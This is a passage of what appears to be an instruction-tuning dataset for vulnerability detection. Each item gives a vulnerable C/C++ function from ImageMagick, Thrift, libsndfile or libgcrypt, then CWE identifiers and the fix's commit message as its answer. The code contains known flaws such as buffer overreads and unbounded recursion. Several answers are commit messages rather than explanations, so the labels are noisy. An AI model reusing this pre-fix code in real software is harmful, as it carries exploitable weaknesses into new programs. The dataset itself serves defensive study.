MAX_ARG_STRLEN.\n\nThis will become especially dangerous for suid binaries and the default\nno limit for the stack size limit because those applications can be\ntricked to consume a large portion of the stack and a single glibc call\ncould jump over the guard page. These attacks are not theoretical,\nunfortunatelly.\n\nMake those attacks less probable by increasing the stack guard gap\nto 1MB (on systems with 4k pages; but make it depend on the page size\nbecause systems with larger base pages might cap stack allocations in\nthe PAGE_SIZE units) which should cover larger alloca() and VLA stack\nallocations. It is obviously not a full fix because the problem is\nsomehow inherent, but it should reduce attack space a lot.\n\nOne could argue that the gap size should be configurable from userspace,\nbut that can be done later when somebody finds that the new 1MB is wrong\nfor some special case applications. For now, add a kernel command line\noption (stack_guard_gap) to specify the stack gap size (in page units).\n\nImplementation wise, first delete all the old code for stack guard page:\nbecause although we could get away with accounting one extra page in a\nstack vma, accounting a larger gap can break userspace - case in point,\na program run with \"ulimit -S -v 20000\" failed when the 1MB gap was\ncounted for RLIMIT_AS; similar problems could come with RLIMIT_MLOCK\nand strict non-overcommit mode.\n\nInstead of keeping gap inside the stack vma, maintain the stack guard\ngap as a gap between vmas: using vm_start_gap() in place of vm_start\n(or vm_end_gap() in place of vm_end if VM_GROWSUP) in just those few\nplaces which need to respect the gap - mainly arch_get_unmapped_area(),\nand and the vma tree's subtree_gap support for that.\n\nOriginal-patch-by: Oleg Nesterov \nOriginal-patch-by: Michal Hocko \nSigned-off-by: Hugh Dickins \nAcked-by: Michal Hocko \nTested-by: Helge Deller # parisc\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadMPCImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n char\n cache_filename[MagickPathExtent],\n id[MagickPathExtent],\n keyword[MagickPathExtent],\n *options;\n\n const unsigned char\n *p;\n\n GeometryInfo\n geometry_info;\n\n Image\n *image;\n\n int\n c;\n\n LinkedListInfo\n *profiles;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n offset;\n\n MagickStatusType\n flags;\n\n register ssize_t\n i;\n\n size_t\n depth,\n length;\n\n ssize_t\n count;\n\n StringInfo\n *profile;\n\n unsigned int\n signature;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n (void) CopyMagickString(cache_filename,image->filename,MagickPathExtent);\n AppendImageFormat(\"cache\",cache_filename);\n c=ReadBlobByte(image);\n if (c == EOF)\n {\n image=DestroyImage(image);\n return((Image *) NULL);\n }\n *id='\\0';\n (void) ResetMagickMemory(keyword,0,sizeof(keyword));\n offset=0;\n do\n {\n /*\n Decode image header; header terminates one character beyond a ':'.\n */\n profiles=(LinkedListInfo *) NULL;\n length=MagickPathExtent;\n options=AcquireString((char *) NULL);\n signature=GetMagickSignature((const StringInfo *) NULL);\n image->depth=8;\n image->compression=NoCompression;\n while ((isgraph(c) != MagickFalse) && (c != (int) ':'))\n {\n register char\n *p;\n\n if (c == (int) '{')\n {\n char\n *comment;\n\n /*\n Read comment-- any text between { }.\n */\n length=MagickPathExtent;\n comment=AcquireString((char *) NULL);\n for (p=comment; comment != (char *) NULL; p++)\n {\n c=ReadBlobByte(image);\n if (c == (int) '\\\\')\n c=ReadBlobByte(image);\n else\n if ((c == EOF) || (c == (int) '}'))\n break;\n if ((size_t) (p-comment+1) >= length)\n {\n *p='\\0';\n length<<=1;\n comment=(char *) ResizeQuantumMemory(comment,length+\n MagickPathExtent,sizeof(*comment));\n if (comment == (char *) NULL)\n break;\n p=comment+strlen(comment);\n }\n *p=(char) c;\n }\n if (comment == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n *p='\\0';\n (void) SetImageProperty(image,\"comment\",comment,exception);\n comment=DestroyString(comment);\n c=ReadBlobByte(image);\n }\n else\n if (isalnum(c) != MagickFalse)\n {\n /*\n Get the keyword.\n */\n length=MagickPathExtent;\n p=keyword;\n do\n {\n if (c == (int) '=')\n break;\n if ((size_t) (p-keyword) < (MagickPathExtent-1))\n *p++=(char) c;\n c=ReadBlobByte(image);\n } while (c != EOF);\n *p='\\0';\n p=options;\n while (isspace((int) ((unsigned char) c)) != 0)\n c=ReadBlobByte(image);\n if (c == (int) '=')\n {\n /*\n Get the keyword value.\n */\n c=ReadBlobByte(image);\n while ((c != (int) '}') && (c != EOF))\n {\n if ((size_t) (p-options+1) >= length)\n {\n *p='\\0';\n length<<=1;\n options=(char *) ResizeQuantumMemory(options,length+\n MagickPathExtent,sizeof(*options));\n if (options == (char *) NULL)\n break;\n p=options+strlen(options);\n }\n *p++=(char) c;\n c=ReadBlobByte(image);\n if (c == '\\\\')\n {\n c=ReadBlobByte(image);\n if (c == (int) '}')\n {\n *p++=(char) c;\n c=ReadBlobByte(image);\n }\n }\n if (*options != '{')\n if (isspace((int) ((unsigned char) c)) != 0)\n break;\n }\n if (options == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n }\n *p='\\0';\n if (*options == '{')\n (void) CopyMagickString(options,options+1,strlen(options));\n /*\n Assign a value to the specified keyword.\n */\n switch (*keyword)\n {\n case 'a':\n case 'A':\n {\n if (LocaleCompare(keyword,\"alpha-trait\") == 0)\n {\n ssize_t\n alpha_trait;\n\n alpha_trait=ParseCommandOption(MagickPixelTraitOptions,\n MagickFalse,options);\n if (alpha_trait < 0)\n break;\n image->alpha_trait=(PixelTrait) alpha_trait;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'b':\n case 'B':\n {\n if (LocaleCompare(keyword,\"background-color\") == 0)\n {\n (void) QueryColorCompliance(options,AllCompliance,\n &image->background_color,exception);\n break;\n }\n if (LocaleCompare(keyword,\"blue-primary\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.blue_primary.x=geometry_info.rho;\n image->chromaticity.blue_primary.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.blue_primary.y=\n image->chromaticity.blue_primary.x;\n break;\n }\n if (LocaleCompare(keyword,\"border-color\") == 0)\n {\n (void) QueryColorCompliance(options,AllCompliance,\n &image->border_color,exception);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'c':\n case 'C':\n {\n if (LocaleCompare(keyword,\"class\") == 0)\n {\n ssize_t\n storage_class;\n\n storage_class=ParseCommandOption(MagickClassOptions,\n MagickFalse,options);\n if (storage_class < 0)\n break;\n image->storage_class=(ClassType) storage_class;\n break;\n }\n if (LocaleCompare(keyword,\"colors\") == 0)\n {\n image->colors=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"colorspace\") == 0)\n {\n ssize_t\n colorspace;\n\n colorspace=ParseCommandOption(MagickColorspaceOptions,\n MagickFalse,options);\n if (colorspace < 0)\n break;\n image->colorspace=(ColorspaceType) colorspace;\n break;\n }\n if (LocaleCompare(keyword,\"compression\") == 0)\n {\n ssize_t\n compression;\n\n compression=ParseCommandOption(MagickCompressOptions,\n MagickFalse,options);\n if (compression < 0)\n break;\n image->compression=(CompressionType) compression;\n break;\n }\n if (LocaleCompare(keyword,\"columns\") == 0)\n {\n image->columns=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'd':\n case 'D':\n {\n if (LocaleCompare(keyword,\"delay\") == 0)\n {\n image->delay=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"depth\") == 0)\n {\n image->depth=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"dispose\") == 0)\n {\n ssize_t\n dispose;\n\n dispose=ParseCommandOption(MagickDisposeOptions,MagickFalse,\n options);\n if (dispose < 0)\n break;\n image->dispose=(DisposeType) dispose;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'e':\n case 'E':\n {\n if (LocaleCompare(keyword,\"endian\") == 0)\n {\n ssize_t\n endian;\n\n endian=ParseCommandOption(MagickEndianOptions,MagickFalse,\n options);\n if (endian < 0)\n break;\n image->endian=(EndianType) endian;\n break;\n }\n if (LocaleCompare(keyword,\"error\") == 0)\n {\n image->error.mean_error_per_pixel=StringToDouble(options,\n (char **) NULL);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'g':\n case 'G':\n {\n if (LocaleCompare(keyword,\"gamma\") == 0)\n {\n image->gamma=StringToDouble(options,(char **) NULL);\n break;\n }\n if (LocaleCompare(keyword,\"green-primary\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.green_primary.x=geometry_info.rho;\n image->chromaticity.green_primary.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.green_primary.y=\n image->chromaticity.green_primary.x;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'i':\n case 'I':\n {\n if (LocaleCompare(keyword,\"id\") == 0)\n {\n (void) CopyMagickString(id,options,MagickPathExtent);\n break;\n }\n if (LocaleCompare(keyword,\"iterations\") == 0)\n {\n image->iterations=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'm':\n case 'M':\n {\n if (LocaleCompare(keyword,\"magick-signature\") == 0)\n {\n signature=(unsigned int) StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"mattecolor\") == 0)\n {\n (void) QueryColorCompliance(options,AllCompliance,\n &image->matte_color,exception);\n break;\n }\n if (LocaleCompare(keyword,\"maximum-error\") == 0)\n {\n image->error.normalized_maximum_error=StringToDouble(\n options,(char **) NULL);\n break;\n }\n if (LocaleCompare(keyword,\"mean-error\") == 0)\n {\n image->error.normalized_mean_error=StringToDouble(options,\n (char **) NULL);\n break;\n }\n if (LocaleCompare(keyword,\"montage\") == 0)\n {\n (void) CloneString(&image->montage,options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'n':\n case 'N':\n {\n if (LocaleCompare(keyword,\"number-channels\") == 0)\n {\n image->number_channels=StringToUnsignedLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"number-meta-channels\") == 0)\n {\n image->number_meta_channels=StringToUnsignedLong(options);\n break;\n }\n break;\n }\n case 'o':\n case 'O':\n {\n if (LocaleCompare(keyword,\"orientation\") == 0)\n {\n ssize_t\n orientation;\n\n orientation=ParseCommandOption(MagickOrientationOptions,\n MagickFalse,options);\n if (orientation < 0)\n break;\n image->orientation=(OrientationType) orientation;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'p':\n case 'P':\n {\n if (LocaleCompare(keyword,\"page\") == 0)\n {\n char\n *geometry;\n\n geometry=GetPageGeometry(options);\n (void) ParseAbsoluteGeometry(geometry,&image->page);\n geometry=DestroyString(geometry);\n break;\n }\n if (LocaleCompare(keyword,\"pixel-intensity\") == 0)\n {\n ssize_t\n intensity;\n\n intensity=ParseCommandOption(MagickPixelIntensityOptions,\n MagickFalse,options);\n if (intensity < 0)\n break;\n image->intensity=(PixelIntensityMethod) intensity;\n break;\n }\n if ((LocaleNCompare(keyword,\"profile:\",8) == 0) ||\n (LocaleNCompare(keyword,\"profile-\",8) == 0))\n {\n if (profiles == (LinkedListInfo *) NULL)\n profiles=NewLinkedList(0);\n (void) AppendValueToLinkedList(profiles,\n AcquireString(keyword+8));\n profile=BlobToStringInfo((const void *) NULL,(size_t)\n StringToLong(options));\n if (profile == (StringInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n (void) SetImageProfile(image,keyword+8,profile,exception);\n profile=DestroyStringInfo(profile);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'q':\n case 'Q':\n {\n if (LocaleCompare(keyword,\"quality\") == 0)\n {\n image->quality=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'r':\n case 'R':\n {\n if (LocaleCompare(keyword,\"red-primary\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.red_primary.x=geometry_info.rho;\n if ((flags & SigmaValue) != 0)\n image->chromaticity.red_primary.y=geometry_info.sigma;\n break;\n }\n if (LocaleCompare(keyword,\"rendering-intent\") == 0)\n {\n ssize_t\n rendering_intent;\n\n rendering_intent=ParseCommandOption(MagickIntentOptions,\n MagickFalse,options);\n if (rendering_intent < 0)\n break;\n image->rendering_intent=(RenderingIntent) rendering_intent;\n break;\n }\n if (LocaleCompare(keyword,\"resolution\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->resolution.x=geometry_info.rho;\n image->resolution.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->resolution.y=image->resolution.x;\n break;\n }\n if (LocaleCompare(keyword,\"rows\") == 0)\n {\n image->rows=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 's':\n case 'S':\n {\n if (LocaleCompare(keyword,\"scene\") == 0)\n {\n image->scene=StringToUnsignedLong(options);\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 't':\n case 'T':\n {\n if (LocaleCompare(keyword,\"ticks-per-second\") == 0)\n {\n image->ticks_per_second=(ssize_t) StringToLong(options);\n break;\n }\n if (LocaleCompare(keyword,\"tile-offset\") == 0)\n {\n char\n *geometry;\n\n geometry=GetPageGeometry(options);\n (void) ParseAbsoluteGeometry(geometry,&image->tile_offset);\n geometry=DestroyString(geometry);\n }\n if (LocaleCompare(keyword,\"type\") == 0)\n {\n ssize_t\n type;\n\n type=ParseCommandOption(MagickTypeOptions,MagickFalse,\n options);\n if (type < 0)\n break;\n image->type=(ImageType) type;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'u':\n case 'U':\n {\n if (LocaleCompare(keyword,\"units\") == 0)\n {\n ssize_t\n units;\n\n units=ParseCommandOption(MagickResolutionOptions,\n MagickFalse,options);\n if (units < 0)\n break;\n image->units=(ResolutionType) units;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n case 'w':\n case 'W':\n {\n if (LocaleCompare(keyword,\"white-point\") == 0)\n {\n flags=ParseGeometry(options,&geometry_info);\n image->chromaticity.white_point.x=geometry_info.rho;\n image->chromaticity.white_point.y=geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n image->chromaticity.white_point.y=\n image->chromaticity.white_point.x;\n break;\n }\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n default:\n {\n (void) SetImageProperty(image,keyword,options,exception);\n break;\n }\n }\n }\n else\n c=ReadBlobByte(image);\n while (isspace((int) ((unsigned char) c)) != 0)\n c=ReadBlobByte(image);\n }\n options=DestroyString(options);\n (void) ReadBlobByte(image);\n /*\n Verify that required image information is defined.\n */\n if ((LocaleCompare(id,\"MagickCache\") != 0) ||\n (image->storage_class == UndefinedClass) ||\n (image->compression == UndefinedCompression) || (image->columns == 0) ||\n (image->rows == 0))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (signature != GetMagickSignature((const StringInfo *) NULL))\n ThrowReaderException(CacheError,\"IncompatibleAPI\");\n if (image->montage != (char *) NULL)\n {\n register char\n *p;\n\n /*\n Image directory.\n */\n length=MagickPathExtent;\n image->directory=AcquireString((char *) NULL);\n p=image->directory;\n do\n {\n *p='\\0';\n if ((strlen(image->directory)+MagickPathExtent) >= length)\n {\n /*\n Allocate more memory for the image directory.\n */\n length<<=1;\n image->directory=(char *) ResizeQuantumMemory(image->directory,\n length+MagickPathExtent,sizeof(*image->directory));\n if (image->directory == (char *) NULL)\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n p=image->directory+strlen(image->directory);\n }\n c=ReadBlobByte(image);\n *p++=(char) c;\n } while (c != (int) '\\0');\n }\n if (profiles != (LinkedListInfo *) NULL)\n {\n const char\n *name;\n\n const StringInfo\n *profile;\n\n register unsigned char\n *p;\n\n /*\n Read image profiles.\n */\n ResetLinkedListIterator(profiles);\n name=(const char *) GetNextValueInLinkedList(profiles);\n while (name != (const char *) NULL)\n {\n profile=GetImageProfile(image,name);\n if (profile != (StringInfo *) NULL)\n {\n p=GetStringInfoDatum(profile);\n count=ReadBlob(image,GetStringInfoLength(profile),p);\n }\n name=(const char *) GetNextValueInLinkedList(profiles);\n }\n profiles=DestroyLinkedList(profiles,RelinquishMagickMemory);\n }\n depth=GetImageQuantumDepth(image,MagickFalse);\n if (image->storage_class == PseudoClass)\n {\n /*\n Create image colormap.\n */\n image->colormap=(PixelInfo *) AcquireQuantumMemory(image->colors+1,\n sizeof(*image->colormap));\n if (image->colormap == (PixelInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if (image->colors != 0)\n {\n size_t\n packet_size;\n\n unsigned char\n *colormap;\n\n /*\n Read image colormap from file.\n */\n packet_size=(size_t) (3UL*depth/8UL);\n colormap=(unsigned char *) AcquireQuantumMemory(image->colors,\n packet_size*sizeof(*colormap));\n if (colormap == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,packet_size*image->colors,colormap);\n if (count != (ssize_t) (packet_size*image->colors))\n {\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n p=colormap;\n switch (depth)\n {\n default:\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n ThrowReaderException(CorruptImageError,\n \"ImageDepthNotSupported\");\n case 8:\n {\n unsigned char\n pixel;\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n p=PushCharPixel(p,&pixel);\n image->colormap[i].red=ScaleCharToQuantum(pixel);\n p=PushCharPixel(p,&pixel);\n image->colormap[i].green=ScaleCharToQuantum(pixel);\n p=PushCharPixel(p,&pixel);\n image->colormap[i].blue=ScaleCharToQuantum(pixel);\n }\n break;\n }\n case 16:\n {\n unsigned short\n pixel;\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n p=PushShortPixel(MSBEndian,p,&pixel);\n image->colormap[i].red=ScaleShortToQuantum(pixel);\n p=PushShortPixel(MSBEndian,p,&pixel);\n image->colormap[i].green=ScaleShortToQuantum(pixel);\n p=PushShortPixel(MSBEndian,p,&pixel);\n image->colormap[i].blue=ScaleShortToQuantum(pixel);\n }\n break;\n }\n case 32:\n {\n unsigned int\n pixel;\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n p=PushLongPixel(MSBEndian,p,&pixel);\n image->colormap[i].red=ScaleLongToQuantum(pixel);\n p=PushLongPixel(MSBEndian,p,&pixel);\n image->colormap[i].green=ScaleLongToQuantum(pixel);\n p=PushLongPixel(MSBEndian,p,&pixel);\n image->colormap[i].blue=ScaleLongToQuantum(pixel);\n }\n break;\n }\n }\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n }\n }\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n if ((AcquireMagickResource(WidthResource,image->columns) == MagickFalse) ||\n (AcquireMagickResource(HeightResource,image->rows) == MagickFalse))\n ThrowReaderException(ImageError,\"WidthOrHeightExceedsLimit\");\n /*\n Attach persistent pixel cache.\n */\n status=PersistPixelCache(image,cache_filename,MagickTrue,&offset,exception);\n if (status == MagickFalse)\n ThrowReaderException(CacheError,\"UnableToPersistPixelCache\");\n /*\n Proceed to next image.\n */\n do\n {\n c=ReadBlobByte(image);\n } while ((isgraph(c) == MagickFalse) && (c != EOF));\n if (c != EOF)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (c != EOF);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-617'], 'message': 'Added check for incorrect number of meta channels report in #492.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: uint32_t skip(Protocol_& prot, TType type) {\n switch (type) {\n case T_BOOL: {\n bool boolv;\n return prot.readBool(boolv);\n }\n case T_BYTE: {\n int8_t bytev;\n return prot.readByte(bytev);\n }\n case T_I16: {\n int16_t i16;\n return prot.readI16(i16);\n }\n case T_I32: {\n int32_t i32;\n return prot.readI32(i32);\n }\n case T_I64: {\n int64_t i64;\n return prot.readI64(i64);\n }\n case T_DOUBLE: {\n double dub;\n return prot.readDouble(dub);\n }\n case T_STRING: {\n std::string str;\n return prot.readBinary(str);\n }\n case T_STRUCT: {\n uint32_t result = 0;\n std::string name;\n int16_t fid;\n TType ftype;\n result += prot.readStructBegin(name);\n while (true) {\n result += prot.readFieldBegin(name, ftype, fid);\n if (ftype == T_STOP) {\n break;\n }\n result += skip(prot, ftype);\n result += prot.readFieldEnd();\n }\n result += prot.readStructEnd();\n return result;\n }\n case T_MAP: {\n uint32_t result = 0;\n TType keyType;\n TType valType;\n uint32_t i, size;\n result += prot.readMapBegin(keyType, valType, size);\n for (i = 0; i < size; i++) {\n result += skip(prot, keyType);\n result += skip(prot, valType);\n }\n result += prot.readMapEnd();\n return result;\n }\n case T_SET: {\n uint32_t result = 0;\n TType elemType;\n uint32_t i, size;\n result += prot.readSetBegin(elemType, size);\n for (i = 0; i < size; i++) {\n result += skip(prot, elemType);\n }\n result += prot.readSetEnd();\n return result;\n }\n case T_LIST: {\n uint32_t result = 0;\n TType elemType;\n uint32_t i, size;\n result += prot.readListBegin(elemType, size);\n for (i = 0; i < size; i++) {\n result += skip(prot, elemType);\n }\n result += prot.readListEnd();\n return result;\n }\n case T_STOP:\n case T_VOID:\n case T_U64:\n case T_UTF8:\n case T_UTF16:\n break;\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'THRIFT-3231 CPP: Limit recursion depth to 64\nClient: cpp\nPatch: Ben Craig '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: aiff_read_chanmap (SF_PRIVATE * psf, unsigned dword)\n{\tconst AIFF_CAF_CHANNEL_MAP * map_info ;\n\tunsigned channel_bitmap, channel_decriptions, bytesread ;\n\tint layout_tag ;\n\n\tbytesread = psf_binheader_readf (psf, \"444\", &layout_tag, &channel_bitmap, &channel_decriptions) ;\n\n\tif ((map_info = aiff_caf_of_channel_layout_tag (layout_tag)) == NULL)\n\t\treturn 0 ;\n\n\tpsf_log_printf (psf, \" Tag : %x\\n\", layout_tag) ;\n\tif (map_info)\n\t\tpsf_log_printf (psf, \" Layout : %s\\n\", map_info->name) ;\n\n\tif (bytesread < dword)\n\t\tpsf_binheader_readf (psf, \"j\", dword - bytesread) ;\n\n\tif (map_info->channel_map != NULL)\n\t{\tsize_t chanmap_size = psf->sf.channels * sizeof (psf->channel_map [0]) ;\n\n\t\tfree (psf->channel_map) ;\n\n\t\tif ((psf->channel_map = malloc (chanmap_size)) == NULL)\n\t\t\treturn SFE_MALLOC_FAILED ;\n\n\t\tmemcpy (psf->channel_map, map_info->channel_map, chanmap_size) ;\n\t\t} ;\n\n\treturn 0 ;\n} /* aiff_read_chanmap */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'src/aiff.c: Fix a buffer read overflow\n\nSecunia Advisory SA76717.\n\nFound by: Laurent Delosieres, Secunia Research at Flexera Software'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _gcry_mpi_powm (gcry_mpi_t res,\n gcry_mpi_t base, gcry_mpi_t expo, gcry_mpi_t mod)\n{\n /* Pointer to the limbs of the arguments, their size and signs. */\n mpi_ptr_t rp, ep, mp, bp;\n mpi_size_t esize, msize, bsize, rsize;\n int msign, bsign, rsign;\n /* Flags telling the secure allocation status of the arguments. */\n int esec, msec, bsec;\n /* Size of the result including space for temporary values. */\n mpi_size_t size;\n /* Helper. */\n int mod_shift_cnt;\n int negative_result;\n mpi_ptr_t mp_marker = NULL;\n mpi_ptr_t bp_marker = NULL;\n mpi_ptr_t ep_marker = NULL;\n mpi_ptr_t xp_marker = NULL;\n unsigned int mp_nlimbs = 0;\n unsigned int bp_nlimbs = 0;\n unsigned int ep_nlimbs = 0;\n unsigned int xp_nlimbs = 0;\n mpi_ptr_t tspace = NULL;\n mpi_size_t tsize = 0;\n\n\n esize = expo->nlimbs;\n msize = mod->nlimbs;\n size = 2 * msize;\n msign = mod->sign;\n\n esec = mpi_is_secure(expo);\n msec = mpi_is_secure(mod);\n bsec = mpi_is_secure(base);\n\n rp = res->d;\n ep = expo->d;\n MPN_NORMALIZE(ep, esize);\n\n if (!msize)\n _gcry_divide_by_zero();\n\n if (!esize)\n {\n /* Exponent is zero, result is 1 mod MOD, i.e., 1 or 0 depending\n on if MOD equals 1. */\n res->nlimbs = (msize == 1 && mod->d[0] == 1) ? 0 : 1;\n if (res->nlimbs)\n {\n RESIZE_IF_NEEDED (res, 1);\n rp = res->d;\n rp[0] = 1;\n }\n res->sign = 0;\n goto leave;\n }\n\n /* Normalize MOD (i.e. make its most significant bit set) as\n required by mpn_divrem. This will make the intermediate values\n in the calculation slightly larger, but the correct result is\n obtained after a final reduction using the original MOD value. */\n mp_nlimbs = msec? msize:0;\n mp = mp_marker = mpi_alloc_limb_space(msize, msec);\n count_leading_zeros (mod_shift_cnt, mod->d[msize-1]);\n if (mod_shift_cnt)\n _gcry_mpih_lshift (mp, mod->d, msize, mod_shift_cnt);\n else\n MPN_COPY( mp, mod->d, msize );\n\n bsize = base->nlimbs;\n bsign = base->sign;\n if (bsize > msize)\n {\n /* The base is larger than the module. Reduce it.\n\n Allocate (BSIZE + 1) with space for remainder and quotient.\n (The quotient is (bsize - msize + 1) limbs.) */\n bp_nlimbs = bsec ? (bsize + 1):0;\n bp = bp_marker = mpi_alloc_limb_space( bsize + 1, bsec );\n MPN_COPY ( bp, base->d, bsize );\n /* We don't care about the quotient, store it above the\n * remainder, at BP + MSIZE. */\n _gcry_mpih_divrem( bp + msize, 0, bp, bsize, mp, msize );\n bsize = msize;\n /* Canonicalize the base, since we are going to multiply with it\n\t quite a few times. */\n MPN_NORMALIZE( bp, bsize );\n }\n else\n bp = base->d;\n\n if (!bsize)\n {\n res->nlimbs = 0;\n res->sign = 0;\n goto leave;\n }\n\n\n /* Make BASE, EXPO and MOD not overlap with RES. */\n if ( rp == bp )\n {\n /* RES and BASE are identical. Allocate temp. space for BASE. */\n gcry_assert (!bp_marker);\n bp_nlimbs = bsec? bsize:0;\n bp = bp_marker = mpi_alloc_limb_space( bsize, bsec );\n MPN_COPY(bp, rp, bsize);\n }\n if ( rp == ep )\n {\n /* RES and EXPO are identical. Allocate temp. space for EXPO. */\n ep_nlimbs = esec? esize:0;\n ep = ep_marker = mpi_alloc_limb_space( esize, esec );\n MPN_COPY(ep, rp, esize);\n }\n if ( rp == mp )\n {\n /* RES and MOD are identical. Allocate temporary space for MOD.*/\n gcry_assert (!mp_marker);\n mp_nlimbs = msec?msize:0;\n mp = mp_marker = mpi_alloc_limb_space( msize, msec );\n MPN_COPY(mp, rp, msize);\n }\n\n /* Copy base to the result. */\n if (res->alloced < size)\n {\n mpi_resize (res, size);\n rp = res->d;\n }\n MPN_COPY ( rp, bp, bsize );\n rsize = bsize;\n rsign = 0;\n\n /* Main processing. */\n {\n mpi_size_t i;\n mpi_ptr_t xp;\n int c;\n mpi_limb_t e;\n mpi_limb_t carry_limb;\n struct karatsuba_ctx karactx;\n\n xp_nlimbs = msec? (2 * (msize + 1)):0;\n xp = xp_marker = mpi_alloc_limb_space( 2 * (msize + 1), msec );\n\n memset( &karactx, 0, sizeof karactx );\n negative_result = (ep[0] & 1) && bsign;\n\n i = esize - 1;\n e = ep[i];\n count_leading_zeros (c, e);\n e = (e << c) << 1; /* Shift the expo bits to the left, lose msb. */\n c = BITS_PER_MPI_LIMB - 1 - c;\n\n /* Main loop.\n\n Make the result be pointed to alternately by XP and RP. This\n helps us avoid block copying, which would otherwise be\n necessary with the overlap restrictions of\n _gcry_mpih_divmod. With 50% probability the result after this\n loop will be in the area originally pointed by RP (==RES->d),\n and with 50% probability in the area originally pointed to by XP. */\n for (;;)\n {\n while (c)\n {\n mpi_ptr_t tp;\n mpi_size_t 